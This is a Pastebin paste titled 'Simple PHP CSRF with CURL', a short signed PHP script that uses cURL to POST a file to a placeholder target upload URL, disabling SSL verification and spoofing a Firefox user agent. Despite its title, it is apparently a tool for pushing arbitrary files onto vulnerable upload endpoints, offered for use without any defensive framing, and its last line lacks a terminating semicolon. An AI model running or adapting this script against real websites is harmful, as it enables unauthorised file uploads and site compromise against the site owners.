SHARE
TWEET

Simple PHP CSRF with CURL

choirurrizal Apr 9th, 2018 (edited) 220 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. /* coded by AshN12ISA a.k.a ShinChan */
  3. $file = "ashn12isa.jpg";
  4. $target = "http://target.com/exploit";
  5. $namafile = ""; //ex : qqfile,file[],image[],dll
  6. $ch = curl_init();
  7. curl_setopt($ch, CURLOPT_URL, "$target");
  8. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  9. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  10. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); //untuk https
  11. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0");
  12. curl_setopt($ch, CURLOPT_VERBOSE, 0);
  13. curl_setopt($ch, CURLOPT_POST, 1);
  14. curl_setopt($ch, CURLOPT_POSTFIELDS, array("$namafile" => "@$file"));
  15. $post = curl_exec($ch);
  16. echo $post
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top